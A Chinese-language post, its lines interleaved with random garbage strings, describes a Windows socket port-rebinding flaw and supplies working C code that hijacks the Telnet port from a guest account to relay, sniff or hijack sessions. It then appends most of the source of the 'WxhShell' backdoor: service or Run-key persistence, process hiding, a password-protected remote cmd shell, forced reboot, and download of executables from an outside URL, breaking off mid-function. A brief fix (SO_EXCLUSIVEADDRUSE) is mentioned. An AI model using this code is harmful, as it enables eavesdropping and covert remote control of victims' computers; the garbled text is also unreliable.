在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
PP*',D3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
C}'Tmi *DDqa?gQb saddr.sin_family = AF_INET;
(J6>]MZ#) /}\Uw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
y1qJ faIHmU bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
/ biB*Z {,X}Btnwp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F[@M? )lhPl 这意味着什么?意味着可以进行如下的攻击:
#@UzOQ> ^{}$o#iof 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
XM#xxf* Y fW3awR{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~bD'QMk L,\wB7t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
b[/uSwvi p)e?0m26 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.P:mYC (5/>arDn 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
xJ rKH Spm0DqqR? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
}!_ofe 7Zw.mM!i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2kfX_RK )` z{T #include
#S|DoeFs #include
o%SD\zk #include
N|-'Fu #include
4:0y\M5u DWORD WINAPI ClientThread(LPVOID lpParam);
Vh}F#~BrI int main()
H&*KpOL {
HU1ZQkf WORD wVersionRequested;
bu:%"l DWORD ret;
`JAM]qB" WSADATA wsaData;
X/qLg+X BOOL val;
"i^<
H SOCKADDR_IN saddr;
y#iQ SOCKADDR_IN scaddr;
BM>'w,$KL int err;
dWi:V7t+ SOCKET s;
[/Vi*Z SOCKET sc;
&YOks.k int caddsize;
7#[8td HANDLE mt;
*l.tsICmbP DWORD tid;
@,Kl"i; wVersionRequested = MAKEWORD( 2, 2 );
xH4Qv[k
Q7 err = WSAStartup( wVersionRequested, &wsaData );
aovw'O\Q if ( err != 0 ) {
L ]Y6/Q printf("error!WSAStartup failed!\n");
g4f:K=5: return -1;
o,gH* }
8`B]UcL) saddr.sin_family = AF_INET;
9#MY(Hr -d)+G%{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
p0sq{d~ o>jM4sk$ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Ad)::9K?J saddr.sin_port = htons(23);
?}ly`Js if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"CY#_) {
Wi2Tg^ printf("error!socket failed!\n");
> }fw7 X return -1;
GX#SCZ&}C }
y!u=]BE
val = TRUE;
*LOUf7` //SO_REUSEADDR选项就是可以实现端口重绑定的
1+ib(MJ<:# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
OzA'd\| {
R>;m6Rb_ printf("error!setsockopt failed!\n");
AD>X'J
u8 return -1;
zI{~;`tzN }
vE{L `,\q //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$2/v8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
]L/AW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
krMO<(x+ Ba#wW
E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
vw)lD9-" {
k];NTALOG ret=GetLastError();
)cV*cDL1j printf("error!bind failed!\n");
Q4h6K7 return -1;
@<ILF69b }
?F"mZu listen(s,2);
BN%;AQV while(1)
[Ol~}@gV {
,GUOq!z caddsize = sizeof(scaddr);
/Bs42uJ3 //接受连接请求
N9cCfB\` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|))O3]- if(sc!=INVALID_SOCKET)
nh]}KFO h {
-$sVqR>_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
:d=:>_[ if(mt==NULL)
O48*"Z1 {
@Yj+u2! printf("Thread Creat Failed!\n");
E+z"m|G break;
;!(GwgllD }
<c.8f;1F }
gGE&}EoLU CloseHandle(mt);
"ph<V,lg }
+)ba9bJ| closesocket(s);
;ZoEqMv WSACleanup();
,X}Jpi;/ return 0;
wAKm]?zB> }
Bdr'd? u<A DWORD WINAPI ClientThread(LPVOID lpParam)
&w%--!T {
0Zh]n;S3m SOCKET ss = (SOCKET)lpParam;
~UNK[ SOCKET sc;
1n!xsesSc unsigned char buf[4096];
4A)@,t9+ SOCKADDR_IN saddr;
h,zM*z A_ long num;
4Kh0evZ DWORD val;
bPA >xAH DWORD ret;
@0 #JY:" //如果是隐藏端口应用的话,可以在此处加一些判断
2y5d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mX5%6{], saddr.sin_family = AF_INET;
;~-M$a
}4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
B+2EIaI saddr.sin_port = htons(23);
Xe2Zf if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)skz_a}]8 {
BcxALRWE printf("error!socket failed!\n");
"cz'|z` return -1;
n?:%>O s$ }
L%HFsuIO- val = 100;
e!=~f%c<N if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<j}A=SDZ) {
Seh(G ret = GetLastError();
]Ns)fr6 return -1;
xG WA5[YV }
YL&)@h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q!y%N& {
2rxz<ck( ret = GetLastError();
&4{!5r return -1;
~@$RX:p }
Sjp ]TWj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
\b*z<Odv {
D{rM printf("error!socket connect failed!\n");
} 89-U closesocket(sc);
bm poptfL closesocket(ss);
+Ze;BKZ3 return -1;
&embAqW: }
M(?0c}z while(1)
CUnBi? Mi {
b\S~uFq6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~L4L|q 7 //如果是嗅探内容的话,可以再此处进行内容分析和记录
TPVB{
107 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g.pR4Mf=Z num = recv(ss,buf,4096,0);
]
@:x<> if(num>0)
=2@V} send(sc,buf,num,0);
tU0jFBB else if(num==0)
C}qHvwFm break;
)&j@ ={0 num = recv(sc,buf,4096,0);
#%g>^i={ky if(num>0)
G%ZP` send(ss,buf,num,0);
G|YNShK4=9 else if(num==0)
8j)*T9 break;
_<KUa\ }
=&F~GCZ> closesocket(ss);
-B&
Nou closesocket(sc);
K\FLA_J return 0 ;
3sD|R{ }
1:!H`*DU& VWc)AfKe Bo$dIn2_ ==========================================================
rK\9#[?x F+ %l=
fs 下边附上一个代码,,WXhSHELL
:DrF)1C C55Av%-= ==========================================================
tl;b~k wJC F"e #include "stdafx.h"
erhez @`qB[<t8:< #include <stdio.h>
d ehK#8 #include <string.h>
Xe&p.v #include <windows.h>
6Ey@)p..E #include <winsock2.h>
waU2C2!w #include <winsvc.h>
Y/sZPG}4 #include <urlmon.h>
03c8VKp'p {1gT{2/~@ #pragma comment (lib, "Ws2_32.lib")
^J;rW3#N8 #pragma comment (lib, "urlmon.lib")
C TKeY [
ebk u_ #define MAX_USER 100 // 最大客户端连接数
pI_dV44W #define BUF_SOCK 200 // sock buffer
adPd}rt; #define KEY_BUFF 255 // 输入 buffer
S_TD o X'U~g$"(+ #define REBOOT 0 // 重启
]!j%Ad #define SHUTDOWN 1 // 关机
]T6pH7~ v[r8-0c #define DEF_PORT 5000 // 监听端口
m%=*3gH]& y,/i3^y#_ #define REG_LEN 16 // 注册表键长度
]GO=8$Z #define SVC_LEN 80 // NT服务名长度
l0U23i 4fL`.n1^ // 从dll定义API
g^^pPVK_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
VVDW=G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
5M/~|"xk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>g m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!ewT#afyu( t3h ){jZ // wxhshell配置信息
Sy']fGvx struct WSCFG {
}|%1LL^pB int ws_port; // 监听端口
hI9q);g char ws_passstr[REG_LEN]; // 口令
<PiO %w{ int ws_autoins; // 安装标记, 1=yes 0=no
^qzH(~g{M char ws_regname[REG_LEN]; // 注册表键名
Qj'Ik`o char ws_svcname[REG_LEN]; // 服务名
B$n 1k45 char ws_svcdisp[SVC_LEN]; // 服务显示名
SgYMPBh char ws_svcdesc[SVC_LEN]; // 服务描述信息
}'*6 A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}m'n1tm;
int ws_downexe; // 下载执行标记, 1=yes 0=no
yO}5.
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K:^0*5Y-k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uXk] w {"1V7| };
jwUX?`6jX I _gE`N // default Wxhshell configuration
R1*4 struct WSCFG wscfg={DEF_PORT,
B%tWi "xuhuanlingzhe",
4Us_Z{. 1,
]x{.qTtw "Wxhshell",
r?IBmatK/ "Wxhshell",
e,,O "WxhShell Service",
^,,}2dsb> "Wrsky Windows CmdShell Service",
[Ky3WppR "Please Input Your Password: ",
$
nHD,h 1,
bAbR0) "
http://www.wrsky.com/wxhshell.exe",
,ryL("G "Wxhshell.exe"
#f<v% };
a HVzBcCPh #y[U2s Se // 消息定义模块
I~:gi@OVV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
u88wSe<\X char *msg_ws_prompt="\n\r? for help\n\r#>";
!?v_. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
!LzA char *msg_ws_ext="\n\rExit.";
G[`1Yw$ char *msg_ws_end="\n\rQuit.";
o+B) char *msg_ws_boot="\n\rReboot...";
@Ns[qn;9 char *msg_ws_poff="\n\rShutdown...";
UoPY:(?;i char *msg_ws_down="\n\rSave to ";
s*s~yH6 Q@7d:v char *msg_ws_err="\n\rErr!";
Bp3E)l char *msg_ws_ok="\n\rOK!";
<N1wET- JXM]tV char ExeFile[MAX_PATH];
uKd4+Km int nUser = 0;
L,[Q{:C S HANDLE handles[MAX_USER];
]8}51y8 int OsIsNt;
bMGn&6QiP[ y)U?.@ SERVICE_STATUS serviceStatus;
#c5jCy}n SERVICE_STATUS_HANDLE hServiceStatusHandle;
Dnl<w<}ZU: Pc_aEBq // 函数声明
76wNZv)9 int Install(void);
}f]Y^>-Ux int Uninstall(void);
Z &Ciy n int DownloadFile(char *sURL, SOCKET wsh);
5nUJ9sqA int Boot(int flag);
/("7*W 2 void HideProc(void);
BHf$ %?3z, int GetOsVer(void);
d&[RfZ` int Wxhshell(SOCKET wsl);
]%)<9]} void TalkWithClient(void *cs);
Qr9;CVW int CmdShell(SOCKET sock);
kQ lU.J>^ int StartFromService(void);
fT|A^ int StartWxhshell(LPSTR lpCmdLine);
UXs)$ xC,x_:R` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bh<;px- VOID WINAPI NTServiceHandler( DWORD fdwControl );
Vv45w#w; !t^DN\\# // 数据结构和表定义
e=WjFnK[x7 SERVICE_TABLE_ENTRY DispatchTable[] =
FO5a<6 {
REU," {wscfg.ws_svcname, NTServiceMain},
}Nsdk',} {NULL, NULL}
QYboX~g~p };
j/z=<jA B*,)@h // 自我安装
0Gc@AG{ int Install(void)
d<6F'F^w.7 {
1^4:l!0D char svExeFile[MAX_PATH];
,VHqZ'6 HKEY key;
@kqxN\DE strcpy(svExeFile,ExeFile);
?9kC[4G O=A2QykV( // 如果是win9x系统,修改注册表设为自启动
<;6{R#Tuh if(!OsIsNt) {
@ M]_], if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"FWx;65CR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,|{`(y/v
RegCloseKey(key);
/{\ /e"5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I I+y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WJ25fTsG RegCloseKey(key);
0RT 8N=B83 return 0;
du66a+@t }
N-\N\uN }
:<t=??4m }
MLu!8dgI else {
W<r<K=`5P >ESVHPj] // 如果是NT以上系统,安装为系统服务
#*'Qm
A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
-2M~KlYl if (schSCManager!=0)
S^eem_C {
x9vSekV SC_HANDLE schService = CreateService
1)56ec<c (
sD:o
2(G* schSCManager,
@ph!3<(In, wscfg.ws_svcname,
Lwr's'ao. wscfg.ws_svcdisp,
~v+kO~ SERVICE_ALL_ACCESS,
HOR8Jwf: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
lh8QtPe SERVICE_AUTO_START,
P.'.KZJ:WD SERVICE_ERROR_NORMAL,
@up,5` svExeFile,
%.Ma_4o
Z NULL,
rm8Ys61\= NULL,
C9!t&<\} NULL,
>
S>*JP NULL,
q 84*5- NULL
FH+X< );
hMa; \ k if (schService!=0)
9 {&g.+ {
HIXAA?_eh= CloseServiceHandle(schService);
JWixY/ CloseServiceHandle(schSCManager);
^#HaH strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#ES[),+|mB strcat(svExeFile,wscfg.ws_svcname);
H<(F$7Q!\ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p~ b4TRvA6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
j
uA@"SG RegCloseKey(key);
\c<
oVF' return 0;
fF(2bVKP: }
;
oyV8P$ }
RbAl_xKI CloseServiceHandle(schSCManager);
eV[{c %wN: }
@C)s4{V }
jE\G_> Alxf;[s return 1;
BNfj0e 5b }
)`DVPudiy HwUaaK
// 自我卸载
yQ$irS? int Uninstall(void)
ppyy0E^M {
rwRZGd *p HKEY key;
U.e!:f4{ u>*a@3$f if(!OsIsNt) {
V eGSr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(?jK|_ RegDeleteValue(key,wscfg.ws_regname);
~#r>@C RegCloseKey(key);
aZN?V}^+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jHFjd' RegDeleteValue(key,wscfg.ws_regname);
Lce,]z\_ RegCloseKey(key);
g\q . return 0;
AY AU }
\@gV$+{9 }
v$y\X3)mB }
?Mjs [| else {
/5NWV#- Jt_=aMY:7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6] x6FeuS if (schSCManager!=0)
T
lXS}5^ {
C4mkt2Eb0a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gP%<<yl if (schService!=0)
:zHSy&i` {
q" VmuQ if(DeleteService(schService)!=0) {
=XfvPBA CloseServiceHandle(schService);
8<VDp Y CloseServiceHandle(schSCManager);
!db=Iz5) return 0;
@]Jq28 }
q8{Bx03m6 CloseServiceHandle(schService);
imM!Me 0TE }
Wg|6{'a CloseServiceHandle(schSCManager);
REh"/d }
5U2%X
pO }
Et 0gPX- '.v;/[0 return 1;
-wn-PB@r }
+~5Lo'^ o?a2wY^_ // 从指定url下载文件
L4 po1 int DownloadFile(char *sURL, SOCKET wsh)
6tH}K {
~VsN\! G HRESULT hr;
mB`HPT char seps[]= "/";
.\b.l@O<Z char *token;
.x=abA$!9 char *file;
&lzY"Y*hA0 char myURL[MAX_PATH];
[G_ ;78 char myFILE[MAX_PATH];
XRPJPwes] < se ~wR strcpy(myURL,sURL);
mS%4 token=strtok(myURL,seps);
u>'0Xo9R while(token!=NULL)
+3))G {
]xS%Er file=token;
;~F*2) token=strtok(NULL,seps);
Z\0wQ;} }
%DttkrhL T!x/^ GetCurrentDirectory(MAX_PATH,myFILE);
ui?@:= strcat(myFILE, "\\");
]-wyZ +a strcat(myFILE, file);
)u(,.O[cw send(wsh,myFILE,strlen(myFILE),0);
r*{.|>me send(wsh,"...",3,0);
\#[DZOI~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[vr"FLM|9 if(hr==S_OK)
]!ZZRe return 0;
! Vl)aL else
M(>74(}] return 1;
zw3I(_d[ )a^&7 }
2m $C;j!D OdNo2SO // 系统电源模块
5YrzOqg= int Boot(int flag)
\(??Ytc<B {
*L<EGFP HANDLE hToken;
61_PSScSY TOKEN_PRIVILEGES tkp;
Ja1 `S+ `@y~ JNf! if(OsIsNt) {
TFHYB9vV OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@kSfF[4H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+P))*0(c_ tkp.PrivilegeCount = 1;
}X9&!A8z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
P*k n}: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
3uw3[
SR1 if(flag==REBOOT) {
HDhkg-QC if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
PVi;h%>Y return 0;
+wj}x?ZeV }
fhg'4FO else {
B/16EuH# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)7NK+k return 0;
VK/L}^=GOO }
U9BhtmY }
c6jVx_tt. else {
`"~GqFwy~ if(flag==REBOOT) {
|g hyH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0s8fF"$ return 0;
:H>I`)bw }
I*3>>VN else {
[#!Y7Ede if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/sYr?b!/<6 return 0;
E|-oUzt }
=Fe4-B?I }
{yNeZXA> z}SJ~WY'[ return 1;
I`+,I`~u }
"uplk8iCJ ?0 cv // win9x进程隐藏模块
ByE@4+9 void HideProc(void)
[$} \Gv {
_gH$
,.j/ Ho#nM_ q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
_rSwQ<38> if ( hKernel != NULL )
WXo bh {
sw9ri}oc pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
fNda& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C\{ KB@C\* FreeLibrary(hKernel);
iYiTkq }
&CQ28WG X :/gHqEC24 return;
ydVDjE
Y }
Kf?:dF ;P<h9( // 获取操作系统版本
B3yTN6- int GetOsVer(void)
GsO(\hR6^ {
Z6b]EcP)# OSVERSIONINFO winfo;
CY=lN5!J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
I\Y N! GetVersionEx(&winfo);
KO`dAB F} if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ze/\IBd return 1;
\R9izuc9 else
'JgCl'k, return 0;
4YY!oDN: }
CY':'aWfa< X // 客户端句柄模块
By9CliOy: int Wxhshell(SOCKET wsl)
UFZOu%Y {
>tkz%;6 SOCKET wsh;
.(8V struct sockaddr_in client;
*"OlO}o DWORD myID;
xVYa-I[Z 4C?4M; while(nUser<MAX_USER)
KL!cPnAUu {
CL`+\
. int nSize=sizeof(client);
T++q.oFc
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
<l!:#u if(wsh==INVALID_SOCKET) return 1;
tZx}/&m- amExZ/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
s;l"'6:_ if(handles[nUser]==0)
*qYw closesocket(wsh);
LB({,0mcX else
.*n*eeD, nUser++;
RnC+]J+?4 }
GJ`._ju WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-Ju;i< ;K7kBp\d return 0;
a;Pn.@NVq }
'.N}oL<gP CY.92I@S // 关闭 socket
LN.*gGl void CloseIt(SOCKET wsh)
\N-3JO Vy {
F+NX
[ closesocket(wsh);
*:+ZEFMq nUser--;
_u;pD- ExitThread(0);
G$KQgUN~[ }
hi(e%da |Vlx: // 客户端请求句柄
G{,DoCM5WL void TalkWithClient(void *cs)
pd`m//G {
CAx
eJ`Q .x] pJ9 SOCKET wsh=(SOCKET)cs;
6WIs*$T2* char pwd[SVC_LEN];
=z"8#_3A char cmd[KEY_BUFF];
t_16icF9U char chr[1];
PJ&L7 int i,j;
$0OOH4 bJ9*z~z)e while (nUser < MAX_USER) {
Tb;,t=;u 1M_Vhs^ if(wscfg.ws_passstr) {
liy/uZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.v}|Tp&k //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/ece}7M //ZeroMemory(pwd,KEY_BUFF);
IG\Cj7{K^ i=0;
aO(iKlZ$ while(i<SVC_LEN) {
t,r:=' z Fj |E // 设置超时
8D@J d fd_set FdRead;
\et2aX ! struct timeval TimeOut;
0WKS FD_ZERO(&FdRead);
4^YE*6z FD_SET(wsh,&FdRead);
cX4]ViXSr TimeOut.tv_sec=8;
K1R?Qt,qDF TimeOut.tv_usec=0;
9c*B%A8J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ahba1\,N$ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Bxw(pACf Y-st2r[, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=-r); d pwd
=chr[0]; y3j"vKG
if(chr[0]==0xd || chr[0]==0xa) { >!lpI5'Z&
pwd=0; 6ce-92n
break; T>b"Gj/
} f}*:wj
i++; ]auqf
} !\BM
v.4G>0 0^
// 如果是非法用户,关闭 socket n53c}^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3HuGb^SNg
} 6rD]6#D
E8R;S}PA
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S-3hLw&?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RjgJIVm(
:?y Ma$
while(1) { +?Cy8Ev?
YAeF*vP
ZeroMemory(cmd,KEY_BUFF); _/%,cYVc8!
}a9G,@:k
// 自动支持客户端 telnet标准 W[j,QU
j=0; rev*G:
while(j<KEY_BUFF) { %yjD<2J;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v[8+fd)}S
cmd[j]=chr[0]; T2.[iD!A
if(chr[0]==0xa || chr[0]==0xd) { ITn PF{N
cmd[j]=0; 3Z me?o*bY
break; f{[0;qDJ
} liLhvcd
j++; %m[ZU<v
} Z_S{$D
f^"pZS
// 下载文件 nu~]9~)I
if(strstr(cmd,"http://")) { $)8,dS
send(wsh,msg_ws_down,strlen(msg_ws_down),0); aH@-"Wi
if(DownloadFile(cmd,wsh)) 5U+4vV/*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1t$]k:
else +w?R4Sxjn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IPYwUix
} [2Nux0g
else { s/C'f4
pz)>y&_o
switch(cmd[0]) { _'L16@q
0%}*Zo(e+
// 帮助 J>nBTY,_<
case '?': { `JPkho
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vq{3:QBR
break; $6D*G-*8
} (*Q:'2e
// 安装 %8xRT@Q
case 'i': { |Nj6RB7
if(Install()) C&*1H`n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qe ip h
else 7 [u>#8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qs59IZ
break; gOW8!\V
} Hk h'h"_r
// 卸载 &{+ 0a[rN
case 'r': { y5+%8#3
if(Uninstall()) 66" 6>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8,!Oup
else qz (x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :|n iFK4
break; | Rhqi
} Q%d1n*;+
// 显示 wxhshell 所在路径 Bi :!"Nw[X
case 'p': { |}UkVLc_^
char svExeFile[MAX_PATH];
\( #"g
strcpy(svExeFile,"\n\r"); #eJ<fU6Da
strcat(svExeFile,ExeFile); ^V96lKt/
send(wsh,svExeFile,strlen(svExeFile),0); hEsiAbTyF
break; C}Kl!
} 7X/t2Vih@
// 重启 #+AQ:+
case 'b': { $GGaR x
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y*-_
if(Boot(REBOOT)) fPPP|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZHgXl3:
else { pWJEFm
closesocket(wsh); (?zD!%
k
ExitThread(0); <"P-7/j3j
} hdrsa}{g
break; \y=oZk4
} DR:$urU$
// 关机 |3@DCbT
case 'd': { 9_O4yTL
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 23>[-XZb[O
if(Boot(SHUTDOWN)) lNa+NtQu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,JDfG)
else { @&WHX#
closesocket(wsh); ja';NIO-
ExitThread(0); B#SVN Lv
} ]FTi2B{}H
break; >5L_t
} %KT}Map
// 获取shell c:9n8skE7
case 's': { Dpw*m.f
CmdShell(wsh); cAEvv[
closesocket(wsh); .\^0RyJE
ExitThread(0); :\His{%
break; %'H DP3
} 0C/ZcfFU~
// 退出 jj2\;b:a0
case 'x': { ;'uQBx}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %sr- xE
CloseIt(wsh); P%(9 `A
break; AO|9H`6U6F
} p,$N-22a
// 离开 {.{Wl,|7
case 'q': { |9c~kTjK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); #H>{>0q
closesocket(wsh); bP9ly9FH
WSACleanup(); @3O)#r}\
exit(1); `!HD.
E[2c
break; "Nj/{BU
} 4r1\&sI$~
} &o;0%QgF
} x
I.W-js[
71c[`h*0{
// 提示信息 \{lv~I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zg(Y$ h\
} vCaN [
} UGhEaKH~R
[c
8=b,EI
return; H,X|-B
} 0Lxz?R x]<
8v& \F
// shell模块句柄 rXX>I;`&
int CmdShell(SOCKET sock) D'#Q`H
{ 1I9v`eT4
STARTUPINFO si; <GNLDpj
ZeroMemory(&si,sizeof(si)); S v>6:y9?G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k5.5$<< T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -o6rY9\_!
PROCESS_INFORMATION ProcessInfo; :BF ? r
char cmdline[]="cmd";
[fa4
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A>yU0\A
return 0; l:!L+t*}6
} w!7\wI[
!rM~
// 自身启动模式 1jl!VU6
int StartFromService(void) E6A"Xo
{ '3( ^Zv
typedef struct G-Tmk7m
{ |HAJDhM,l
DWORD ExitStatus; G:1'}RC :
DWORD PebBaseAddress; mUh]`/MK$
DWORD AffinityMask; Iv6 q(c
DWORD BasePriority; {q?&h'#y
ULONG UniqueProcessId; EMW6'
ULONG InheritedFromUniqueProcessId;
KeQcL4<
} PROCESS_BASIC_INFORMATION; YZBh}l6t
kW g.-$pp
